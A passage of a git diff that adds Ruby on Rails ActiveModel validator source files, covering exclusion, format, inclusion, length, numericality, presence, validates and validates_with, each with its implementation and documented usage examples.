+      # The added +password_confirmation+ attribute is virtual; it exists only
+      # as an in-memory attribute for validating the password. To achieve this,
+      # the validation adds accessors to the model for the confirmation
+      # attribute.
+      #
+      # NOTE: This check is performed only if +password_confirmation+ is not
+      # +nil+. To require confirmation, make sure to add a presence check for
+      # the confirmation attribute:
+      #
+      #   validates_presence_of :password_confirmation, if: :password_changed?
+      #
+      # Configuration options:
+      # * <tt>:message</tt> - A custom error message (default is: "doesn't match
+      #   <tt>%{translated_attribute_name}</tt>").
+      # * <tt>:case_sensitive</tt> - Looks for an exact match. Ignored by
+      #   non-text columns (+true+ by default).
+      #
+      # There is also a list of default options supported by every validator:
+      # +:if+, +:unless+, +:on+, +:allow_nil+, +:allow_blank+, and +:strict+.
+      # See <tt>ActiveModel::Validations#validates</tt> for more information
+      def validates_confirmation_of(*attr_names)
+        validates_with ConfirmationValidator, _merge_attributes(attr_names)
+      end
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/validations/exclusion.rb b/activemodel/lib/active_model/validations/exclusion.rb
new file mode 100644
index 0000000000..a6cbfcc813
--- /dev/null
+++ b/activemodel/lib/active_model/validations/exclusion.rb
@@ -0,0 +1,49 @@
+# frozen_string_literal: true
+
+require_relative "clusivity"
+
+module ActiveModel
+  module Validations
+    class ExclusionValidator < EachValidator # :nodoc:
+      include Clusivity
+
+      def validate_each(record, attribute, value)
+        if include?(record, value)
+          record.errors.add(attribute, :exclusion, options.except(:in, :within).merge!(value: value))
+        end
+      end
+    end
+
+    module HelperMethods
+      # Validates that the value of the specified attribute is not in a
+      # particular enumerable object.
+      #
+      #   class Person < ActiveRecord::Base
+      #     validates_exclusion_of :username, in: %w( admin superuser ), message: "You don't belong here"
+      #     validates_exclusion_of :age, in: 30..60, message: 'This site is only for under 30 and over 60'
+      #     validates_exclusion_of :format, in: %w( mov avi ), message: "extension %{value} is not allowed"
+      #     validates_exclusion_of :password, in: ->(person) { [person.username, person.first_name] },
+      #                            message: 'should not be the same as your username or first name'
+      #     validates_exclusion_of :karma, in: :reserved_karmas
+      #   end
+      #
+      # Configuration options:
+      # * <tt>:in</tt> - An enumerable object of items that the value shouldn't
+      #   be part of. This can be supplied as a proc, lambda or symbol which returns an
+      #   enumerable. If the enumerable is a numerical, time or datetime range the test
+      #   is performed with <tt>Range#cover?</tt>, otherwise with <tt>include?</tt>. When
+      #   using a proc or lambda the instance under validation is passed as an argument.
+      # * <tt>:within</tt> - A synonym(or alias) for <tt>:in</tt>
+      #   <tt>Range#cover?</tt>, otherwise with <tt>include?</tt>.
+      # * <tt>:message</tt> - Specifies a custom error message (default is: "is
+      #   reserved").
+      #
+      # There is also a list of default options supported by every validator:
+      # +:if+, +:unless+, +:on+, +:allow_nil+, +:allow_blank+, and +:strict+.
+      # See <tt>ActiveModel::Validations#validates</tt> for more information
+      def validates_exclusion_of(*attr_names)
+        validates_with ExclusionValidator, _merge_attributes(attr_names)
+      end
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/validations/format.rb b/activemodel/lib/active_model/validations/format.rb
new file mode 100644
index 0000000000..7c3f091473
--- /dev/null
+++ b/activemodel/lib/active_model/validations/format.rb
@@ -0,0 +1,114 @@
+# frozen_string_literal: true
+
+module ActiveModel
+  module Validations
+    class FormatValidator < EachValidator # :nodoc:
+      def validate_each(record, attribute, value)
+        if options[:with]
+          regexp = option_call(record, :with)
+          record_error(record, attribute, :with, value) if value.to_s !~ regexp
+        elsif options[:without]
+          regexp = option_call(record, :without)
+          record_error(record, attribute, :without, value) if regexp.match?(value.to_s)
+        end
+      end
+
+      def check_validity!
+        unless options.include?(:with) ^ options.include?(:without)  # ^ == xor, or "exclusive or"
+          raise ArgumentError, "Either :with or :without must be supplied (but not both)"
+        end
+
+        check_options_validity :with
+        check_options_validity :without
+      end
+
+      private
+
+        def option_call(record, name)
+          option = options[name]
+          option.respond_to?(:call) ? option.call(record) : option
+        end
+
+        def record_error(record, attribute, name, value)
+          record.errors.add(attribute, :invalid, options.except(name).merge!(value: value))
+        end
+
+        def check_options_validity(name)
+          if option = options[name]
+            if option.is_a?(Regexp)
+              if options[:multiline] != true && regexp_using_multiline_anchors?(option)
+                raise ArgumentError, "The provided regular expression is using multiline anchors (^ or $), " \
+                "which may present a security risk. Did you mean to use \\A and \\z, or forgot to add the " \
+                ":multiline => true option?"
+              end
+            elsif !option.respond_to?(:call)
+              raise ArgumentError, "A regular expression or a proc or lambda must be supplied as :#{name}"
+            end
+          end
+        end
+
+        def regexp_using_multiline_anchors?(regexp)
+          source = regexp.source
+          source.start_with?("^") || (source.end_with?("$") && !source.end_with?("\\$"))
+        end
+    end
+
+    module HelperMethods
+      # Validates whether the value of the specified attribute is of the correct
+      # form, going by the regular expression provided. You can require that the
+      # attribute matches the regular expression:
+      #
+      #   class Person < ActiveRecord::Base
+      #     validates_format_of :email, with: /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\z/i, on: :create
+      #   end
+      #
+      # Alternatively, you can require that the specified attribute does _not_
+      # match the regular expression:
+      #
+      #   class Person < ActiveRecord::Base
+      #     validates_format_of :email, without: /NOSPAM/
+      #   end
+      #
+      # You can also provide a proc or lambda which will determine the regular
+      # expression that will be used to validate the attribute.
+      #
+      #   class Person < ActiveRecord::Base
+      #     # Admin can have number as a first letter in their screen name
+      #     validates_format_of :screen_name,
+      #                         with: ->(person) { person.admin? ? /\A[a-z0-9][a-z0-9_\-]*\z/i : /\A[a-z][a-z0-9_\-]*\z/i }
+      #   end
+      #
+      # Note: use <tt>\A</tt> and <tt>\z</tt> to match the start and end of the
+      # string, <tt>^</tt> and <tt>$</tt> match the start/end of a line.
+      #
+      # Due to frequent misuse of <tt>^</tt> and <tt>$</tt>, you need to pass
+      # the <tt>multiline: true</tt> option in case you use any of these two
+      # anchors in the provided regular expression. In most cases, you should be
+      # using <tt>\A</tt> and <tt>\z</tt>.
+      #
+      # You must pass either <tt>:with</tt> or <tt>:without</tt> as an option.
+      # In addition, both must be a regular expression or a proc or lambda, or
+      # else an exception will be raised.
+      #
+      # Configuration options:
+      # * <tt>:message</tt> - A custom error message (default is: "is invalid").
+      # * <tt>:with</tt> - Regular expression that if the attribute matches will
+      #   result in a successful validation. This can be provided as a proc or
+      #   lambda returning regular expression which will be called at runtime.
+      # * <tt>:without</tt> - Regular expression that if the attribute does not
+      #   match will result in a successful validation. This can be provided as
+      #   a proc or lambda returning regular expression which will be called at
+      #   runtime.
+      # * <tt>:multiline</tt> - Set to true if your regular expression contains
+      #   anchors that match the beginning or end of lines as opposed to the
+      #   beginning or end of the string. These anchors are <tt>^</tt> and <tt>$</tt>.
+      #
+      # There is also a list of default options supported by every validator:
+      # +:if+, +:unless+, +:on+, +:allow_nil+, +:allow_blank+, and +:strict+.
+      # See <tt>ActiveModel::Validations#validates</tt> for more information
+      def validates_format_of(*attr_names)
+        validates_with FormatValidator, _merge_attributes(attr_names)
+      end
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/validations/helper_methods.rb b/activemodel/lib/active_model/validations/helper_methods.rb
new file mode 100644
index 0000000000..730173f2f9
--- /dev/null
+++ b/activemodel/lib/active_model/validations/helper_methods.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module ActiveModel
+  module Validations
+    module HelperMethods # :nodoc:
+      private
+        def _merge_attributes(attr_names)
+          options = attr_names.extract_options!.symbolize_keys
+          attr_names.flatten!
+          options[:attributes] = attr_names
+          options
+        end
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/validations/inclusion.rb b/activemodel/lib/active_model/validations/inclusion.rb
new file mode 100644
index 0000000000..00e27b528a
--- /dev/null
+++ b/activemodel/lib/active_model/validations/inclusion.rb
@@ -0,0 +1,47 @@
+# frozen_string_literal: true
+
+require_relative "clusivity"
+
+module ActiveModel
+  module Validations
+    class InclusionValidator < EachValidator # :nodoc:
+      include Clusivity
+
+      def validate_each(record, attribute, value)
+        unless include?(record, value)
+          record.errors.add(attribute, :inclusion, options.except(:in, :within).merge!(value: value))
+        end
+      end
+    end
+
+    module HelperMethods
+      # Validates whether the value of the specified attribute is available in a
+      # particular enumerable object.
+      #
+      #   class Person < ActiveRecord::Base
+      #     validates_inclusion_of :gender, in: %w( m f )
+      #     validates_inclusion_of :age, in: 0..99
+      #     validates_inclusion_of :format, in: %w( jpg gif png ), message: "extension %{value} is not included in the list"
+      #     validates_inclusion_of :states, in: ->(person) { STATES[person.country] }
+      #     validates_inclusion_of :karma, in: :available_karmas
+      #   end
+      #
+      # Configuration options:
+      # * <tt>:in</tt> - An enumerable object of available items. This can be
+      #   supplied as a proc, lambda or symbol which returns an enumerable. If the
+      #   enumerable is a numerical, time or datetime range the test is performed
+      #   with <tt>Range#cover?</tt>, otherwise with <tt>include?</tt>. When using
+      #   a proc or lambda the instance under validation is passed as an argument.
+      # * <tt>:within</tt> - A synonym(or alias) for <tt>:in</tt>
+      # * <tt>:message</tt> - Specifies a custom error message (default is: "is
+      #   not included in the list").
+      #
+      # There is also a list of default options supported by every validator:
+      # +:if+, +:unless+, +:on+, +:allow_nil+, +:allow_blank+, and +:strict+.
+      # See <tt>ActiveModel::Validations#validates</tt> for more information
+      def validates_inclusion_of(*attr_names)
+        validates_with InclusionValidator, _merge_attributes(attr_names)
+      end
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/validations/length.rb b/activemodel/lib/active_model/validations/length.rb
new file mode 100644
index 0000000000..d1a4197286
--- /dev/null
+++ b/activemodel/lib/active_model/validations/length.rb
@@ -0,0 +1,123 @@
+# frozen_string_literal: true
+
+module ActiveModel
+  module Validations
+    class LengthValidator < EachValidator # :nodoc:
+      MESSAGES  = { is: :wrong_length, minimum: :too_short, maximum: :too_long }.freeze
+      CHECKS    = { is: :==, minimum: :>=, maximum: :<= }.freeze
+
+      RESERVED_OPTIONS = [:minimum, :maximum, :within, :is, :too_short, :too_long]
+
+      def initialize(options)
+        if range = (options.delete(:in) || options.delete(:within))
+          raise ArgumentError, ":in and :within must be a Range" unless range.is_a?(Range)
+          options[:minimum], options[:maximum] = range.min, range.max
+        end
+
+        if options[:allow_blank] == false && options[:minimum].nil? && options[:is].nil?
+          options[:minimum] = 1
+        end
+
+        super
+      end
+
+      def check_validity!
+        keys = CHECKS.keys & options.keys
+
+        if keys.empty?
+          raise ArgumentError, "Range unspecified. Specify the :in, :within, :maximum, :minimum, or :is option."
+        end
+
+        keys.each do |key|
+          value = options[key]
+
+          unless (value.is_a?(Integer) && value >= 0) || value == Float::INFINITY
+            raise ArgumentError, ":#{key} must be a nonnegative Integer or Infinity"
+          end
+        end
+      end
+
+      def validate_each(record, attribute, value)
+        value_length = value.respond_to?(:length) ? value.length : value.to_s.length
+        errors_options = options.except(*RESERVED_OPTIONS)
+
+        CHECKS.each do |key, validity_check|
+          next unless check_value = options[key]
+
+          if !value.nil? || skip_nil_check?(key)
+            next if value_length.send(validity_check, check_value)
+          end
+
+          errors_options[:count] = check_value
+
+          default_message = options[MESSAGES[key]]
+          errors_options[:message] ||= default_message if default_message
+
+          record.errors.add(attribute, MESSAGES[key], errors_options)
+        end
+      end
+
+      private
+        def skip_nil_check?(key)
+          key == :maximum && options[:allow_nil].nil? && options[:allow_blank].nil?
+        end
+    end
+
+    module HelperMethods
+      # Validates that the specified attributes match the length restrictions
+      # supplied. Only one constraint option can be used at a time apart from
+      # +:minimum+ and +:maximum+ that can be combined together:
+      #
+      #   class Person < ActiveRecord::Base
+      #     validates_length_of :first_name, maximum: 30
+      #     validates_length_of :last_name, maximum: 30, message: "less than 30 if you don't mind"
+      #     validates_length_of :fax, in: 7..32, allow_nil: true
+      #     validates_length_of :phone, in: 7..32, allow_blank: true
+      #     validates_length_of :user_name, within: 6..20, too_long: 'pick a shorter name', too_short: 'pick a longer name'
+      #     validates_length_of :zip_code, minimum: 5, too_short: 'please enter at least 5 characters'
+      #     validates_length_of :smurf_leader, is: 4, message: "papa is spelled with 4 characters... don't play me."
+      #     validates_length_of :words_in_essay, minimum: 100, too_short: 'Your essay must be at least 100 words.'
+      #
+      #     private
+      #
+      #     def words_in_essay
+      #       essay.scan(/\w+/)
+      #     end
+      #   end
+      #
+      # Constraint options:
+      #
+      # * <tt>:minimum</tt> - The minimum size of the attribute.
+      # * <tt>:maximum</tt> - The maximum size of the attribute. Allows +nil+ by
+      #   default if not used with +:minimum+.
+      # * <tt>:is</tt> - The exact size of the attribute.
+      # * <tt>:within</tt> - A range specifying the minimum and maximum size of
+      #   the attribute.
+      # * <tt>:in</tt> - A synonym (or alias) for <tt>:within</tt>.
+      #
+      # Other options:
+      #
+      # * <tt>:allow_nil</tt> - Attribute may be +nil+; skip validation.
+      # * <tt>:allow_blank</tt> - Attribute may be blank; skip validation.
+      # * <tt>:too_long</tt> - The error message if the attribute goes over the
+      #   maximum (default is: "is too long (maximum is %{count} characters)").
+      # * <tt>:too_short</tt> - The error message if the attribute goes under the
+      #   minimum (default is: "is too short (minimum is %{count} characters)").
+      # * <tt>:wrong_length</tt> - The error message if using the <tt>:is</tt>
+      #   method and the attribute is the wrong size (default is: "is the wrong
+      #   length (should be %{count} characters)").
+      # * <tt>:message</tt> - The error message to use for a <tt>:minimum</tt>,
+      #   <tt>:maximum</tt>, or <tt>:is</tt> violation. An alias of the appropriate
+      #   <tt>too_long</tt>/<tt>too_short</tt>/<tt>wrong_length</tt> message.
+      #
+      # There is also a list of default options supported by every validator:
+      # +:if+, +:unless+, +:on+ and +:strict+.
+      # See <tt>ActiveModel::Validations#validates</tt> for more information
+      def validates_length_of(*attr_names)
+        validates_with LengthValidator, _merge_attributes(attr_names)
+      end
+
+      alias_method :validates_size_of, :validates_length_of
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/validations/numericality.rb b/activemodel/lib/active_model/validations/numericality.rb
new file mode 100644
index 0000000000..31750ba78e
--- /dev/null
+++ b/activemodel/lib/active_model/validations/numericality.rb
@@ -0,0 +1,165 @@
+# frozen_string_literal: true
+
+module ActiveModel
+  module Validations
+    class NumericalityValidator < EachValidator # :nodoc:
+      CHECKS = { greater_than: :>, greater_than_or_equal_to: :>=,
+                 equal_to: :==, less_than: :<, less_than_or_equal_to: :<=,
+                 odd: :odd?, even: :even?, other_than: :!= }.freeze
+
+      RESERVED_OPTIONS = CHECKS.keys + [:only_integer]
+
+      def check_validity!
+        keys = CHECKS.keys - [:odd, :even]
+        options.slice(*keys).each do |option, value|
+          unless value.is_a?(Numeric) || value.is_a?(Proc) || value.is_a?(Symbol)
+            raise ArgumentError, ":#{option} must be a number, a symbol or a proc"
+          end
+        end
+      end
+
+      def validate_each(record, attr_name, value)
+        before_type_cast = :"#{attr_name}_before_type_cast"
+
+        raw_value = record.send(before_type_cast) if record.respond_to?(before_type_cast) && record.send(before_type_cast) != value
+        raw_value ||= value
+
+        if record_attribute_changed_in_place?(record, attr_name)
+          raw_value = value
+        end
+
+        unless is_number?(raw_value)
+          record.errors.add(attr_name, :not_a_number, filtered_options(raw_value))
+          return
+        end
+
+        if allow_only_integer?(record) && !is_integer?(raw_value)
+          record.errors.add(attr_name, :not_an_integer, filtered_options(raw_value))
+          return
+        end
+
+        if raw_value.is_a?(Numeric)
+          value = raw_value
+        else
+          value = parse_raw_value_as_a_number(raw_value)
+        end
+
+        options.slice(*CHECKS.keys).each do |option, option_value|
+          case option
+          when :odd, :even
+            unless value.to_i.send(CHECKS[option])
+              record.errors.add(attr_name, option, filtered_options(value))
+            end
+          else
+            case option_value
+            when Proc
+              option_value = option_value.call(record)
+            when Symbol
+              option_value = record.send(option_value)
+            end
+
+            unless value.send(CHECKS[option], option_value)
+              record.errors.add(attr_name, option, filtered_options(value).merge!(count: option_value))
+            end
+          end
+        end
+      end
+
+    private
+
+      def is_number?(raw_value)
+        !parse_raw_value_as_a_number(raw_value).nil?
+      rescue ArgumentError, TypeError
+        false
+      end
+
+      def parse_raw_value_as_a_number(raw_value)
+        return raw_value.to_i if is_integer?(raw_value)
+        Kernel.Float(raw_value) if raw_value !~ /\A0[xX]/
+      end
+
+      def is_integer?(raw_value)
+        /\A[+-]?\d+\z/ === raw_value.to_s
+      end
+
+      def filtered_options(value)
+        filtered = options.except(*RESERVED_OPTIONS)
+        filtered[:value] = value
+        filtered
+      end
+
+      def allow_only_integer?(record)
+        case options[:only_integer]
+        when Symbol
+          record.send(options[:only_integer])
+        when Proc
+          options[:only_integer].call(record)
+        else
+          options[:only_integer]
+        end
+      end
+
+      def record_attribute_changed_in_place?(record, attr_name)
+        record.respond_to?(:attribute_changed_in_place?) &&
+          record.attribute_changed_in_place?(attr_name.to_s)
+      end
+    end
+
+    module HelperMethods
+      # Validates whether the value of the specified attribute is numeric by
+      # trying to convert it to a float with Kernel.Float (if <tt>only_integer</tt>
+      # is +false+) or applying it to the regular expression <tt>/\A[\+\-]?\d+\z/</tt>
+      # (if <tt>only_integer</tt> is set to +true+).
+      #
+      #   class Person < ActiveRecord::Base
+      #     validates_numericality_of :value, on: :create
+      #   end
+      #
+      # Configuration options:
+      # * <tt>:message</tt> - A custom error message (default is: "is not a number").
+      # * <tt>:only_integer</tt> - Specifies whether the value has to be an
+      #   integer, e.g. an integral value (default is +false+).
+      # * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+ (default is
+      #   +false+). Notice that for Integer and Float columns empty strings are
+      #   converted to +nil+.
+      # * <tt>:greater_than</tt> - Specifies the value must be greater than the
+      #   supplied value.
+      # * <tt>:greater_than_or_equal_to</tt> - Specifies the value must be
+      #   greater than or equal the supplied value.
+      # * <tt>:equal_to</tt> - Specifies the value must be equal to the supplied
+      #   value.
+      # * <tt>:less_than</tt> - Specifies the value must be less than the
+      #   supplied value.
+      # * <tt>:less_than_or_equal_to</tt> - Specifies the value must be less
+      #   than or equal the supplied value.
+      # * <tt>:other_than</tt> - Specifies the value must be other than the
+      #   supplied value.
+      # * <tt>:odd</tt> - Specifies the value must be an odd number.
+      # * <tt>:even</tt> - Specifies the value must be an even number.
+      #
+      # There is also a list of default options supported by every validator:
+      # +:if+, +:unless+, +:on+, +:allow_nil+, +:allow_blank+, and +:strict+ .
+      # See <tt>ActiveModel::Validations#validates</tt> for more information
+      #
+      # The following checks can also be supplied with a proc or a symbol which
+      # corresponds to a method:
+      #
+      # * <tt>:greater_than</tt>
+      # * <tt>:greater_than_or_equal_to</tt>
+      # * <tt>:equal_to</tt>
+      # * <tt>:less_than</tt>
+      # * <tt>:less_than_or_equal_to</tt>
+      # * <tt>:only_integer</tt>
+      #
+      # For example:
+      #
+      #   class Person < ActiveRecord::Base
+      #     validates_numericality_of :width, less_than: ->(person) { person.height }
+      #     validates_numericality_of :width, greater_than: :minimum_weight
+      #   end
+      def validates_numericality_of(*attr_names)
+        validates_with NumericalityValidator, _merge_attributes(attr_names)
+      end
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/validations/presence.rb b/activemodel/lib/active_model/validations/presence.rb
new file mode 100644
index 0000000000..8787a75afa
--- /dev/null
+++ b/activemodel/lib/active_model/validations/presence.rb
@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+
+module ActiveModel
+  module Validations
+    class PresenceValidator < EachValidator # :nodoc:
+      def validate_each(record, attr_name, value)
+        record.errors.add(attr_name, :blank, options) if value.blank?
+      end
+    end
+
+    module HelperMethods
+      # Validates that the specified attributes are not blank (as defined by
+      # Object#blank?). Happens by default on save.
+      #
+      #   class Person < ActiveRecord::Base
+      #     validates_presence_of :first_name
+      #   end
+      #
+      # The first_name attribute must be in the object and it cannot be blank.
+      #
+      # If you want to validate the presence of a boolean field (where the real
+      # values are +true+ and +false+), you will want to use
+      # <tt>validates_inclusion_of :field_name, in: [true, false]</tt>.
+      #
+      # This is due to the way Object#blank? handles boolean values:
+      # <tt>false.blank? # => true</tt>.
+      #
+      # Configuration options:
+      # * <tt>:message</tt> - A custom error message (default is: "can't be blank").
+      #
+      # There is also a list of default options supported by every validator:
+      # +:if+, +:unless+, +:on+, +:allow_nil+, +:allow_blank+, and +:strict+.
+      # See <tt>ActiveModel::Validations#validates</tt> for more information
+      def validates_presence_of(*attr_names)
+        validates_with PresenceValidator, _merge_attributes(attr_names)
+      end
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/validations/validates.rb b/activemodel/lib/active_model/validations/validates.rb
new file mode 100644
index 0000000000..43d9f82d9f
--- /dev/null
+++ b/activemodel/lib/active_model/validations/validates.rb
@@ -0,0 +1,174 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/hash/slice"
+
+module ActiveModel
+  module Validations
+    module ClassMethods
+      # This method is a shortcut to all default validators and any custom
+      # validator classes ending in 'Validator'. Note that Rails default
+      # validators can be overridden inside specific classes by creating
+      # custom validator classes in their place such as PresenceValidator.
+      #
+      # Examples of using the default rails validators:
+      #
+      #   validates :terms, acceptance: true
+      #   validates :password, confirmation: true
+      #   validates :username, exclusion: { in: %w(admin superuser) }
+      #   validates :email, format: { with: /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\z/i, on: :create }
+      #   validates :age, inclusion: { in: 0..9 }
+      #   validates :first_name, length: { maximum: 30 }
+      #   validates :age, numericality: true
+      #   validates :username, presence: true
+      #
+      # The power of the +validates+ method comes when using custom validators
+      # and default validators in one call for a given attribute.
+      #
+      #   class EmailValidator < ActiveModel::EachValidator
+      #     def validate_each(record, attribute, value)
+      #       record.errors.add attribute, (options[:message] || "is not an email") unless
+      #         value =~ /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\z/i
+      #     end
+      #   end
+      #
+      #   class Person
+      #     include ActiveModel::Validations
+      #     attr_accessor :name, :email
+      #
+      #     validates :name, presence: true, length: { maximum: 100 }
+      #     validates :email, presence: true, email: true
+      #   end
+      #
+      # Validator classes may also exist within the class being validated
+      # allowing custom modules of validators to be included as needed.
+      #
+      #   class Film
+      #     include ActiveModel::Validations
+      #
+      #     class TitleValidator < ActiveModel::EachValidator
+      #       def validate_each(record, attribute, value)
+      #         record.errors.add attribute, "must start with 'the'" unless value =~ /\Athe/i
+      #       end
+      #     end
+      #
+      #     validates :name, title: true
+      #   end
+      #
+      # Additionally validator classes may be in another namespace and still
+      # used within any class.
+      #
+      #   validates :name, :'film/title' => true
+      #
+      # The validators hash can also handle regular expressions, ranges, arrays
+      # and strings in shortcut form.
+      #
+      #   validates :email, format: /@/
+      #   validates :gender, inclusion: %w(male female)
+      #   validates :password, length: 6..20
+      #
+      # When using shortcut form, ranges and arrays are passed to your
+      # validator's initializer as <tt>options[:in]</tt> while other types
+      # including regular expressions and strings are passed as <tt>options[:with]</tt>.
+      #
+      # There is also a list of options that could be used along with validators:
+      #
+      # * <tt>:on</tt> - Specifies the contexts where this validation is active.
+      #   Runs in all validation contexts by default +nil+. You can pass a symbol
+      #   or an array of symbols. (e.g. <tt>on: :create</tt> or
+      #   <tt>on: :custom_validation_context</tt> or
+      #   <tt>on: [:create, :custom_validation_context]</tt>)
+      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine
+      #   if the validation should occur (e.g. <tt>if: :allow_validation</tt>,
+      #   or <tt>if: Proc.new { |user| user.signup_step > 2 }</tt>). The method,
+      #   proc or string should return or evaluate to a +true+ or +false+ value.
+      # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine
+      #   if the validation should not occur (e.g. <tt>unless: :skip_validation</tt>,
+      #   or <tt>unless: Proc.new { |user| user.signup_step <= 2 }</tt>). The
+      #   method, proc or string should return or evaluate to a +true+ or
+      #   +false+ value.
+      # * <tt>:allow_nil</tt> - Skip validation if the attribute is +nil+.
+      # * <tt>:allow_blank</tt> - Skip validation if the attribute is blank.
+      # * <tt>:strict</tt> - If the <tt>:strict</tt> option is set to true
+      #   will raise ActiveModel::StrictValidationFailed instead of adding the error.
+      #   <tt>:strict</tt> option can also be set to any other exception.
+      #
+      # Example:
+      #
+      #   validates :password, presence: true, confirmation: true, if: :password_required?
+      #   validates :token, length: 24, strict: TokenLengthException
+      #
+      #
+      # Finally, the options +:if+, +:unless+, +:on+, +:allow_blank+, +:allow_nil+, +:strict+
+      # and +:message+ can be given to one specific validator, as a hash:
+      #
+      #   validates :password, presence: { if: :password_required?, message: 'is forgotten.' }, confirmation: true
+      def validates(*attributes)
+        defaults = attributes.extract_options!.dup
+        validations = defaults.slice!(*_validates_default_keys)
+
+        raise ArgumentError, "You need to supply at least one attribute" if attributes.empty?
+        raise ArgumentError, "You need to supply at least one validation" if validations.empty?
+
+        defaults[:attributes] = attributes
+
+        validations.each do |key, options|
+          next unless options
+          key = "#{key.to_s.camelize}Validator"
+
+          begin
+            validator = key.include?("::".freeze) ? key.constantize : const_get(key)
+          rescue NameError
+            raise ArgumentError, "Unknown validator: '#{key}'"
+          end
+
+          validates_with(validator, defaults.merge(_parse_validates_options(options)))
+        end
+      end
+
+      # This method is used to define validations that cannot be corrected by end
+      # users and are considered exceptional. So each validator defined with bang
+      # or <tt>:strict</tt> option set to <tt>true</tt> will always raise
+      # <tt>ActiveModel::StrictValidationFailed</tt> instead of adding error
+      # when validation fails. See <tt>validates</tt> for more information about
+      # the validation itself.
+      #
+      #   class Person
+      #     include ActiveModel::Validations
+      #
+      #     attr_accessor :name
+      #     validates! :name, presence: true
+      #   end
+      #
+      #   person = Person.new
+      #   person.name = ''
+      #   person.valid?
+      #   # => ActiveModel::StrictValidationFailed: Name can't be blank
+      def validates!(*attributes)
+        options = attributes.extract_options!
+        options[:strict] = true
+        validates(*(attributes << options))
+      end
+
+    private
+
+      # When creating custom validators, it might be useful to be able to specify
+      # additional default keys. This can be done by overwriting this method.
+      def _validates_default_keys
+        [:if, :unless, :on, :allow_blank, :allow_nil , :strict]
+      end
+
+      def _parse_validates_options(options)
+        case options
+        when TrueClass
+          {}
+        when Hash
+          options
+        when Range, Array
+          { in: options }
+        else
+          { with: options }
+        end
+      end
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/validations/with.rb b/activemodel/lib/active_model/validations/with.rb
new file mode 100644
index 0000000000..d777ac836e
--- /dev/null
+++ b/activemodel/lib/active_model/validations/with.rb
@@ -0,0 +1,147 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/array/extract_options"
+
+module ActiveModel
+  module Validations
+    class WithValidator < EachValidator # :nodoc:
+      def validate_each(record, attr, val)
+        method_name = options[:with]
+
+        if record.method(method_name).arity == 0
+          record.send method_name
+        else
+          record.send method_name, attr
+        end
+      end
+    end
+
+    module ClassMethods
+      # Passes the record off to the class or classes specified and allows them
+      # to add errors based on more complex conditions.
+      #
+      #   class Person
+      #     include ActiveModel::Validations
+      #     validates_with MyValidator
+      #   end
+      #
+      #   class MyValidator < ActiveModel::Validator
+      #     def validate(record)
+      #       if some_complex_logic
+      #         record.errors.add :base, 'This record is invalid'
+      #       end
+      #     end
+      #
+      #     private
+      #       def some_complex_logic
+      #         # ...
+      #       end
+      #   end
+      #
+      # You may also pass it multiple classes, like so:
+      #
+      #   class Person
+      #     include ActiveModel::Validations
+      #     validates_with MyValidator, MyOtherValidator, on: :create
+      #   end
+      #
+      # Configuration options:
+      # * <tt>:on</tt> - Specifies the contexts where this validation is active.
+      #   Runs in all validation contexts by default +nil+. You can pass a symbol
+      #   or an array of symbols. (e.g. <tt>on: :create</tt> or
+      #   <tt>on: :custom_validation_context</tt> or
+      #   <tt>on: [:create, :custom_validation_context]</tt>)
+      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine
+      #   if the validation should occur (e.g. <tt>if: :allow_validation</tt>,
+      #   or <tt>if: Proc.new { |user| user.signup_step > 2 }</tt>).
+      #   The method, proc or string should return or evaluate to a +true+ or
+      #   +false+ value.
+      # * <tt>:unless</tt> - Specifies a method, proc or string to call to
+      #   determine if the validation should not occur
+      #   (e.g. <tt>unless: :skip_validation</tt>, or
+      #   <tt>unless: Proc.new { |user| user.signup_step <= 2 }</tt>).
+      #   The method, proc or string should return or evaluate to a +true+ or
+      #   +false+ value.
+      # * <tt>:strict</tt> - Specifies whether validation should be strict.
+      #   See <tt>ActiveModel::Validations#validates!</tt> for more information.
+      #
+      # If you pass any additional configuration options, they will be passed
+      # to the class and available as +options+:
+      #
+      #   class Person
+      #     include ActiveModel::Validations
+      #     validates_with MyValidator, my_custom_key: 'my custom value'
+      #   end
+      #
+      #   class MyValidator < ActiveModel::Validator
+      #     def validate(record)
+      #       options[:my_custom_key] # => "my custom value"
+      #     end
+      #   end
+      def validates_with(*args, &block)
+        options = args.extract_options!
+        options[:class] = self
+
+        args.each do |klass|
+          validator = klass.new(options, &block)
+
+          if validator.respond_to?(:attributes) && !validator.attributes.empty?
+            validator.attributes.each do |attribute|
+              _validators[attribute.to_sym] << validator
+            end
+          else
+            _validators[nil] << validator
+          end
+
+          validate(validator, options)
+        end
+      end
+    end
+
+    # Passes the record off to the class or classes specified and allows them
+    # to add errors based on more complex conditions.
+    #
+    #   class Person
+    #     include ActiveModel::Validations
+    #
+    #     validate :instance_validations
+    #
+    #     def instance_validations
+    #       validates_with MyValidator
+    #     end
+    #   end
+    #
+    # Please consult the class method documentation for more information on
+    # creating your own validator.
+    #
+    # You may also pass it multiple classes, like so:
+    #
+    #   class Person
+    #     include ActiveModel::Validations
+    #
+    #     validate :instance_validations, on: :create
+    #
+    #     def instance_validations
+    #       validates_with MyValidator, MyOtherValidator
+    #     end
+    #   end
+    #
+    # Standard configuration options (<tt>:on</tt>, <tt>:if</tt> and
+    # <tt>:unless</tt>), which are available on the class version of
+    # +validates_with+, should instead be placed on the +validates+ method
+    # as these are applied and tested in the callback.
+    #
+    # If you pass any additional configuration options, they will be passed
+    # to the class and available as +options+, please refer to the
+    # class version of this method for more information.
+    def validates_with(*args, &block)
+      options = args.extract_options!
+      options[:class] = self.class
+
+      args.each do |klass|
